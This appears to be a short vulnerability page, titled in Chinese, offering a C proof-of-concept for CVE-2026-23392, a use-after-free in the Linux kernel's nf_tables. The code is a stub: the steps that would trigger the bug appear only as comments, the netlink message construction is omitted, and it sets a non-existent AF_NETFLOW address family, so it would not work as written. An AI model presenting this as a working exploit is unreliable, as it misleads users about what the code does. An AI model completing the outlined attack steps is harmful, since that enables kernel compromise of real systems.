CVE-2026-23392 Linux内核nf_tables释放后使用漏洞

/* * PoC for CVE-2026-23392: Trigger UAF in nf_tables * This PoC attempts to create a flowtable configuration * that hits the error path and triggers the use-after-free. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/netfilter/nf_tables.h> void trigger_uaf() { // Create a netlink socket to interact with nf_tables int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock < 0) { perror("socket"); return; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETFLOW; // Setup flowtable creation message // Intentionally trigger conditions that lead to the error path // e.g., hook overlap or hardware offload failure simulation // 1. Create a table // 2. Create a flowtable with specific device hooks // 3. Attempt to create another conflicting flowtable or force error // 4. Dump hooks via nfnetlink to trigger the race condition // while the RCU grace period hasn't passed. printf("Attempting to trigger CVE-2026-23392...\n"); // ... (Netlink message construction omitted for brevity) // Ideally, this forces the kernel into the error path // where nf_tables_flowtable_destroy is called without synchronize_rcu. close(sock); } int main() { trigger_uaf(); return 0; }